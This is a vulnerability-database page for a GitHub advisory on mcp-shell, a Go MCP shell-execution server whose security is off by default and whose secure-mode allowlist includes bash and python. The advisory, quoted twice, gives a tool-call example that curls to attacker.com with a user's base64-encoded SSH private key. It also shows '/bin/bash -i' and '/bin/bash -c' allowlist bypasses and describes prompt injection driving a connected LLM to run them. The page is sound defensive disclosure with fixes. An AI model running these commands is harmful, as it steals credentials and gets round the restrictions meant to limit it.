Vulnerabilities in pkg:golang/github.com/sonirico/mcp-shell

PACKAGE
Advisory Identifier: GHSA-f5pj-2738-996m
Advisory Summary

CVE-2026-55580 is a HIGH mcp-shell — security disabled by vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/sonirico/mcp shell libraries in the Go ecosystem. The issue involves mcp-shell — security disabled by default in bare-binary deploy path + shell interpreter in secure-mode allowlist. Remediation is available by upgrading affected packages to version 0.6.0.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/sonirico/mcp-shell

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/sonirico/mcp-shell. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-f5pj-2738-996m CVE-2026-55580 HIGH mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist
GHSA-3x77-wg38-92r3 CVE-2026-55581 HIGH mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable
GHSA-74hp-mggr-hv58 CVE-2026-55582 HIGH mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias

CVE-2026-55580 at a Glance

CVE Identifier CVE-2026-55580
GHSA Identifier GHSA-f5pj-2738-996m
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Github.com/sonirico/mcp shell
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-55580

To remediate this vulnerability, upgrade all affected Github.com/sonirico/mcp shell dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/sonirico/mcp-shell fixed: 0.6.0
Upgrade github.com/sonirico/mcp-shell to 0.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/sonirico/mcp-shell

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55580, inspect your project dependencies for Github.com/sonirico/mcp shell:

inspect dependencies for github.com/sonirico/mcp-shell

Analyze the terminal output to locate any version of Github.com/sonirico/mcp shell in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/sonirico/mcp shell, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

mcp-shell` at commit `17ac0eef5c9a5a42b8fb132d3d034973d55a5433` has two issues that together mean neither the default deploy path nor the recommended "secure mode" delivers the restriction they're marketed as providing. Filing these together because the two failure modes bracket the full intended audience — the from-source path gets users who skip security config entirely, the Docker path gets users who follow the security.yaml example and believe they're protected. --- The first issue is in `config.go`, line 49: ```go config := &Config{ Security: SecurityConfig{ Enabled: false, }, ... } ``` Security is opt-in. The bare binary ships with `Enabled: false`, and `security.go` lines 26–29 make the consequence explicit: ```go func (v *SecurityValidator) validateCommand(command string) error { if !v.config.Enabled { v.logger.Debug().Str("command", command).Msg("Security disabled, allowing command") return nil } ``` `main.go` lines 35–39 confirm the deployment condition: ```go configFile := os.Getenv("MCP_SHELL_SEC_CONFIG_FILE") if configFile != "" { log.Info().Str("config_file", configFile).Msg("Loading security config") } else { log.Info().Msg("No security config file specified, security disabled") } ``` The README's from-source install path (lines 22–26) runs `git clone ... && make install && mcp-shell` with no environment variable and no config file. The MCP client config example block (lines 78–85) passes only `MCP_SHELL_LOG_LEVEL` — no `MCP_SHELL_SEC_CONFIG_FILE`. Every operator who follows either documented path runs an unrestricted shell-execution server. **Attack model:** operator installs from source or follows the MCP client config example verbatim. Any LLM connected via stdio can call `shell_exec` with an arbitrary command string — no allowlist, no blocklist, no filtering, no logging. Because mcp-shell is stdio transport, the attacking agent is the operator's own connected LLM — prompt injection or a poisoned tool description is the vector, no network access required. ```json {"method": "tools/call", "params": {"name": "shell_exec", "arguments": {"command": "curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)"}}} ``` **Fix:** flip the default to `SecurityConfig{Enabled: true}`. Secure mode should be the operating default — not an env var users have to know to set. The `--allow-unsafe` flag (or equivalent env var) can preserve the unrestricted mode for developers who explicitly accept the risk, but that should require affirmative opt-in, not silence. --- The second issue affects Docker users who do follow the security.yaml example. The official `security.yaml` — baked into the Docker image via `COPY security.yaml /etc/mcp-shell/security.yaml` — includes both `/bin/bash` and `/usr/bin/python3` in `allowed_executables`. In secure mode (`use_shell_execution: false`), `executor.go` lines 142–163 parse the command and exec it directly: ```go } else { executable, args, err := e.parseCommand(command) ... cmd = exec.CommandContext(ctx, executable, args...) } ``` The `parseCommand()` function uses `strings.Fields()` — split on whitespace — and the metacharacter check in `containsDangerousShellConstructs()` blocks `|`, `&`, `;`, `$`, and similar constructs. With `/bin/bash` in the allowlist, the following call: ``` shell_exec(command="/bin/bash -i") ``` Parses to `executable="/bin/bash"`, `args=["-i"]`. The executable is on the allowlist. `-i` contains no blocked metacharacters. The call passes all validation and executes as: ```go cmd = exec.CommandContext(ctx, "/bin/bash", "-i") ``` That's an interactive bash shell — stdin is shared with the mcp-shell process, which is the MCP command channel. The LLM now has a direct read/write channel to bash. The Python path is equally direct: `shell_exec(command="/usr/bin/python3 /workspace/payload.py")` where the payload file was written in a prior tool call. Both bypass all of secure mode's metacharacter filtering because the interpreter absorbs the dangerous content, not the direct command string. The Docker image ships this config as the default. Any operator who runs the official image without a custom security.yaml is running with `/bin/bash` and `/usr/bin/python3` in their allowlist — the advertised secure mode is not providing the restriction it claims. **Fix:** remove `/bin/bash`, `/bin/sh`, and `/usr/bin/python3` from `allowed_executables` in the default `security.yaml`. Shell interpreters defeat executable-allowlisting by design — the interpreter executes whatever it's handed, so allowing it is equivalent to disabling the allowlist entirely. The default config should contain only narrow utility binaries that can't themselves spawn arbitrary processes (`ls`, `cat`, `grep`, `head`, `wc`, `date`, `pwd`). A comment in the example config is also warranted: ```yaml # WARNING: Never add shell interpreters (bash, sh, python, perl, ruby) to # allowed_executables. Doing so bypasses secure mode — the interpreter # executes arbitrary code regardless of what metacharacter checks see. ``` --- Taken together: the from-source path runs with no security config by default, and the Docker path runs with a security config that includes shell interpreters. The two failure modes cover the full install surface. The maintainer clearly cares about security — the test coverage for injection scenarios and the `containsDangerousShellConstructs` implementation show the right intent. These are fixable with a one-line default flip and a config edit. --- ### Addendum 2026-05-03 — counter to the sandbox-mitigation framing Why the sandbox recommendation does not close either of the two findings above, with inline the PoC that demonstrates it. The sandbox-mitigation framing assumes the operator (a) knows they need to sandbox, (b) sets up the sandbox correctly, and (c) the sandbox boundary actually contains what an attacker can reach via the MCP tool. None of those hold for the documented install path: 1. **Default-off applies before the sandbox question is even asked.** The from-source path (`git clone && make install && mcp-shell`) runs with `Enabled: false` from `config.go:49`. The MCP client config example in the README passes only `MCP_SHELL_LOG_LEVEL`, no `MCP_SHELL_SEC_CONFIG_FILE`. An operator following the documented install runs an unrestricted shell — the sandbox recommendation lives in a separate document the operator hasn't read yet because they've followed the README and it works. This is the from-source case in Finding 1 and it bypasses any recommendation that lives outside the install path. 2. **Bash-in-allowlist defeats secure mode regardless of the sandbox.** Even if the operator runs inside a Docker/firejail/bubblewrap sandbox, the official `security.yaml` includes `/bin/bash` and `/usr/bin/python3` in `allowed_executables`. Inside that sandbox, the LLM can issue `shell_exec(command="/bin/bash -c '<arbitrary>'")` — passes allowlist, executes verbatim, and the sandbox boundary is the *outer* containment, not the *intra-sandbox* containment. The LLM still has full read/write to whatever lives inside the sandbox: secrets mounted into the container, environment variables, network access from inside the sandbox, files in the working directory. "Sandbox" only contains the blast radius if the threat model is "RCE escapes the host," which is not the threat model here — the threat model is "unintended command execution from the LLM session," which happens inside the sandbox boundary. PoC fired locally — non-destructive marker write, mirrors the validateCommand → executeSecureCommand chain in Python (Go subprocess semantics for `exec.CommandContext` are equivalent to Python `subprocess.run` for arg-array dispatch): ``` === Class 1: Security default-off (config.go:49 Enabled=false) === [CONFIG] Security.Enabled = False [VALIDATE] error = None (None = allowed) [STDOUT] uid=1000(...) gid=1000(...) groups=1000(...),... EXEC_CONFIRMED === Class 2: Shell interpreter in allowed_executables allowlist === [PARSE] executable='/bin/bash', args=['-c', "'id; echo BASH_ALLOWLIST_BYPASS'"] [CHECK] /bin/bash in allowed_executables: True ``` Source-line citations at commit `17ac0eef5c9a5a42b8fb132d3d034973d55a5433`: - `config.go:49` — `Enabled: false` default - `security.go:26-28` — `if !v.config.Enabled { return nil }` short-circuit - `main.go:35-39` — env-var conditional that ships disabled when unset - `executor.go:142-163` — `parseCommand()` + `exec.CommandContext(ctx, executable, args...)` dispatch path The cmd-unfurl/expansion approach you raised is more interesting on the technical merits — it would close the bash-allowlist case directly (unfurl `/bin/bash -c '<inner>'` to expose the inner command for blocklist evaluation). It still wouldn't close the default-off case, because unfurl only runs when validation runs, and validation short-circuits when `Enabled=false`. The minimal-change fix on both fronts remains: flip `Enabled` to `true` by default, drop shell interpreters from the example allowlist. Sandbox recommendation is reasonable as defense-in-depth but doesn't substitute for closing the two install-path defaults.

CVE-2026-55580 Affected Github.com/sonirico/mcp shell Versions

1 component(s)
Fixed Versions:
0.6.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/sonirico/mcp-shell
Go
< 0.6.0
0.6.0

References

Frequently Asked Questions

What is CVE-2026-55580?
CVE-2026-55580 is a security vulnerability in Github.com/sonirico/mcp shell involving mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Github.com/sonirico/mcp shell versions are affected?
Affected versions include releases prior to 0.6.0 across affected packages: github.com/sonirico/mcp-shell.
What version fixes CVE-2026-55580?
Upgrading to 0.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/sonirico/mcp-shell affected?
Yes, github.com/sonirico/mcp-shell is affected in releases prior to 0.6.0. Upgrade your dependency to 0.6.0 or later.
What CWE is associated with CVE-2026-55580?
CVE-2026-55580 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-55580?
Run the dependency tree command: 'inspect dependencies for github.com/sonirico/mcp-shell'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f5pj-2738-996m",
  "modified" : "2026-08-25T15:46:50Z",
  "published" : "2026-08-25T15:46:50Z",
  "aliases" : [ "CVE-2026-55580" ],
  "summary" : "mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist",
  "details" : "mcp-shell` at commit `17ac0eef5c9a5a42b8fb132d3d034973d55a5433` has two issues that together mean neither the default deploy path nor the recommended \"secure mode\" delivers the restriction they're marketed as providing. Filing these together because the two failure modes bracket the full intended audience — the from-source path gets users who skip security config entirely, the Docker path gets users who follow the security.yaml example and believe they're protected.\n\n---\n\nThe first issue is in `config.go`, line 49:\n\n```go\nconfig := &Config{\n    Security: SecurityConfig{\n        Enabled: false,\n    },\n    ...\n}\n```\n\nSecurity is opt-in. The bare binary ships with `Enabled: false`, and `security.go` lines 26–29 make the consequence explicit:\n\n```go\nfunc (v *SecurityValidator) validateCommand(command string) error {\n    if !v.config.Enabled {\n        v.logger.Debug().Str(\"command\", command).Msg(\"Security disabled, allowing command\")\n        return nil\n    }\n```\n\n`main.go` lines 35–39 confirm the deployment condition:\n\n```go\nconfigFile := os.Getenv(\"MCP_SHELL_SEC_CONFIG_FILE\")\nif configFile != \"\" {\n    log.Info().Str(\"config_file\", configFile).Msg(\"Loading security config\")\n} else {\n    log.Info().Msg(\"No security config file specified, security disabled\")\n}\n```\n\nThe README's from-source install path (lines 22–26) runs `git clone ... && make install && mcp-shell` with no environment variable and no config file. The MCP client config example block (lines 78–85) passes only `MCP_SHELL_LOG_LEVEL` — no `MCP_SHELL_SEC_CONFIG_FILE`. Every operator who follows either documented path runs an unrestricted shell-execution server.\n\n**Attack model:** operator installs from source or follows the MCP client config example verbatim. Any LLM connected via stdio can call `shell_exec` with an arbitrary command string — no allowlist, no blocklist, no filtering, no logging. Because mcp-shell is stdio transport, the attacking agent is the operator's own connected LLM — prompt injection or a poisoned tool description is the vector, no network access required.\n\n```json\n{\"method\": \"tools/call\", \"params\": {\"name\": \"shell_exec\", \"arguments\": {\"command\": \"curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)\"}}}\n```\n\n**Fix:** flip the default to `SecurityConfig{Enabled: true}`. Secure mode should be the operating default — not an env var users have to know to set. The `--allow-unsafe` flag (or equivalent env var) can preserve the unrestricted mode for developers who explicitly accept the risk, but that should require affirmative opt-in, not silence.\n\n---\n\nThe second issue affects Docker users who do follow the security.yaml example. The official `security.yaml` — baked into the Docker image via `COPY security.yaml /etc/mcp-shell/security.yaml` — includes both `/bin/bash` and `/usr/bin/python3` in `allowed_executables`. In secure mode (`use_shell_execution: false`), `executor.go` lines 142–163 parse the command and exec it directly:\n\n```go\n} else {\n    executable, args, err := e.parseCommand(command)\n    ...\n    cmd = exec.CommandContext(ctx, executable, args...)\n}\n```\n\nThe `parseCommand()` function uses `strings.Fields()` — split on whitespace — and the metacharacter check in `containsDangerousShellConstructs()` blocks `|`, `&`, `;`, `$`, and similar constructs. With `/bin/bash` in the allowlist, the following call:\n\n```\nshell_exec(command=\"/bin/bash -i\")\n```\n\nParses to `executable=\"/bin/bash\"`, `args=[\"-i\"]`. The executable is on the allowlist. `-i` contains no blocked metacharacters. The call passes all validation and executes as:\n\n```go\ncmd = exec.CommandContext(ctx, \"/bin/bash\", \"-i\")\n```\n\nThat's an interactive bash shell — stdin is shared with the mcp-shell process, which is the MCP command channel. The LLM now has a direct read/write channel to bash. The Python path is equally direct: `shell_exec(command=\"/usr/bin/python3 /workspace/payload.py\")` where the payload file was written in a prior tool call. Both bypass all of secure mode's metacharacter filtering because the interpreter absorbs the dangerous content, not the direct command string.\n\nThe Docker image ships this config as the default. Any operator who runs the official image without a custom security.yaml is running with `/bin/bash` and `/usr/bin/python3` in their allowlist — the advertised secure mode is not providing the restriction it claims.\n\n**Fix:** remove `/bin/bash`, `/bin/sh`, and `/usr/bin/python3` from `allowed_executables` in the default `security.yaml`. Shell interpreters defeat executable-allowlisting by design — the interpreter executes whatever it's handed, so allowing it is equivalent to disabling the allowlist entirely. The default config should contain only narrow utility binaries that can't themselves spawn arbitrary processes (`ls`, `cat`, `grep`, `head`, `wc`, `date`, `pwd`). A comment in the example config is also warranted:\n\n```yaml\n# WARNING: Never add shell interpreters (bash, sh, python, perl, ruby) to\n# allowed_executables. Doing so bypasses secure mode — the interpreter\n# executes arbitrary code regardless of what metacharacter checks see.\n```\n\n---\n\nTaken together: the from-source path runs with no security config by default, and the Docker path runs with a security config that includes shell interpreters. The two failure modes cover the full install surface. The maintainer clearly cares about security — the test coverage for injection scenarios and the `containsDangerousShellConstructs` implementation show the right intent. These are fixable with a one-line default flip and a config edit.\n\n---\n\n### Addendum 2026-05-03 — counter to the sandbox-mitigation framing\n\nWhy the sandbox recommendation does not close either of the two findings above, with inline the PoC that demonstrates it.\n\nThe sandbox-mitigation framing assumes the operator (a) knows they need to sandbox, (b) sets up the sandbox correctly, and (c) the sandbox boundary actually contains what an attacker can reach via the MCP tool. None of those hold for the documented install path:\n\n1. **Default-off applies before the sandbox question is even asked.** The from-source path (`git clone && make install && mcp-shell`) runs with `Enabled: false` from `config.go:49`. The MCP client config example in the README passes only `MCP_SHELL_LOG_LEVEL`, no `MCP_SHELL_SEC_CONFIG_FILE`. An operator following the documented install runs an unrestricted shell — the sandbox recommendation lives in a separate document the operator hasn't read yet because they've followed the README and it works. This is the from-source case in Finding 1 and it bypasses any recommendation that lives outside the install path.\n\n2. **Bash-in-allowlist defeats secure mode regardless of the sandbox.** Even if the operator runs inside a Docker/firejail/bubblewrap sandbox, the official `security.yaml` includes `/bin/bash` and `/usr/bin/python3` in `allowed_executables`. Inside that sandbox, the LLM can issue `shell_exec(command=\"/bin/bash -c '<arbitrary>'\")` — passes allowlist, executes verbatim, and the sandbox boundary is the *outer* containment, not the *intra-sandbox* containment. The LLM still has full read/write to whatever lives inside the sandbox: secrets mounted into the container, environment variables, network access from inside the sandbox, files in the working directory. \"Sandbox\" only contains the blast radius if the threat model is \"RCE escapes the host,\" which is not the threat model here — the threat model is \"unintended command execution from the LLM session,\" which happens inside the sandbox boundary.\n\nPoC fired locally — non-destructive marker write, mirrors the validateCommand → executeSecureCommand chain in Python (Go subprocess semantics for `exec.CommandContext` are equivalent to Python `subprocess.run` for arg-array dispatch):\n\n```\n=== Class 1: Security default-off (config.go:49 Enabled=false) ===\n[CONFIG] Security.Enabled = False\n[VALIDATE] error = None  (None = allowed)\n[STDOUT] uid=1000(...) gid=1000(...) groups=1000(...),...\nEXEC_CONFIRMED\n\n=== Class 2: Shell interpreter in allowed_executables allowlist ===\n[PARSE]  executable='/bin/bash', args=['-c', \"'id; echo BASH_ALLOWLIST_BYPASS'\"]\n[CHECK]  /bin/bash in allowed_executables: True\n```\n\nSource-line citations at commit `17ac0eef5c9a5a42b8fb132d3d034973d55a5433`:\n- `config.go:49` — `Enabled: false` default\n- `security.go:26-28` — `if !v.config.Enabled { return nil }` short-circuit\n- `main.go:35-39` — env-var conditional that ships disabled when unset\n- `executor.go:142-163` — `parseCommand()` + `exec.CommandContext(ctx, executable, args...)` dispatch path\n\nThe cmd-unfurl/expansion approach you raised is more interesting on the technical merits — it would close the bash-allowlist case directly (unfurl `/bin/bash -c '<inner>'` to expose the inner command for blocklist evaluation). It still wouldn't close the default-off case, because unfurl only runs when validation runs, and validation short-circuits when `Enabled=false`.\n\nThe minimal-change fix on both fronts remains: flip `Enabled` to `true` by default, drop shell interpreters from the example allowlist. Sandbox recommendation is reasonable as defense-in-depth but doesn't substitute for closing the two install-path defaults.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/sonirico/mcp-shell"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-f5pj-2738-996m"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sonirico/mcp-shell/pull/16"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sonirico/mcp-shell"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T15:46:50Z",
    "nvd_published_at" : null
  }
}